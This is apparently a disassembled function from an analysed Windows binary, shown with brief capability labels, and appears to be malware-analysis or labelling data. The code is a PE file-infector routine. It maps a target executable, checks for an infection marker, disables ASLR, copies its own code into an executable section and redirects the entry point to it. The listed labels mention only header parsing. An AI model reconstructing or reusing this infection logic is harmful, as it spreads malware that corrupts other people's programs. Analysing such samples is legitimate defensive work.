Function at 0x403a50
Capabilities:
Enumerate pe sections
Get file size
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
jne 0x403a82
xor al, al
jmp 0x403d04
push 0
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x403a9e
xor al, al
jmp 0x403d04
mov edx, 0x4037e0
sub edx, 0x402a40
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
and eax, 0xfff
je 0x403aca
mov ecx, dword [ebp - 0x24]
and ecx, 0xfffff000
add ecx, 0x1000
mov dword [ebp - 0x38], ecx
jmp 0x403ad0
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x38]
mov dword [ebp - 0x20], eax
push 0
mov ecx, dword [ebp - 0x20]
push ecx
push 0
push 4
push 0
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x403b09
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x403d04
push 0
push 0
push 0
push 0xf001f
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403b42
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x403d04
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
movzx eax, word [edx]
cmp eax, 0x5a4d
je 0x403b65
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x20], ecx
jmp 0x403cbc
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 8]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
cmp dword [ecx], 0x4550
je 0x403b8c
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x20], edx
jmp 0x403cbc
mov eax, dword [ebp - 0x2c]
movzx ecx, word [eax + 4]
cmp ecx, 0x14c
jne 0x403ba9
mov edx, dword [ebp - 0x2c]
movzx eax, word [edx + 0x18]
cmp eax, 0x10b
je 0x403bb9
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x20], ecx
jmp 0x403cbc
mov edx, dword [ebp - 0x2c]
cmp dword [edx + 8], 0xdead
jne 0x403bd5
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
jmp 0x403cbc
mov ecx, dword [ebp - 0x2c]
movzx edx, word [ecx + 0x5e]
and edx, 0xffffffbf
mov eax, dword [ebp - 0x2c]
mov word [eax + 0x5e], dx
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x3c]
mov eax, dword [ebp - 8]
lea ecx, [eax + edx + 0xf8]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x2c]
movzx ecx, word [eax + 6]
imul ecx, ecx, 0x28
add ecx, 0x138
mov edx, dword [ebp - 0x2c]
cmp ecx, dword [edx + 0x54]
jb 0x403c27
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
jmp 0x403cbc
push 0x60000000
mov ecx, dword [ebp - 0x24]
push ecx
push str..zero
mov edx, dword [ebp - 8]
push edx
call fcn.004037f0
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x403cb2
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
add ecx, dword [eax + 0x14]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x24]
push eax
push 0x402a40
mov ecx, dword [ebp - 0x30]
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov edx, 1
test edx, edx
je 0x403c9a
mov eax, dword [ebp - 0x30]
cmp dword [eax], 0xcccccccc
jne 0x403c8f
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx + 0x28]
mov dword [ecx], eax
jmp 0x403c9a
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov dword [ebp - 0x30], ecx
jmp 0x403c6e
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x34]
sub eax, dword [edx + 0x14]
mov ecx, dword [ebp - 4]
add eax, dword [ecx + 0xc]
sub eax, dword [ebp - 8]
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x28], eax
mov eax, dword [ebp - 0x2c]
mov dword [eax + 8], 0xdead
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret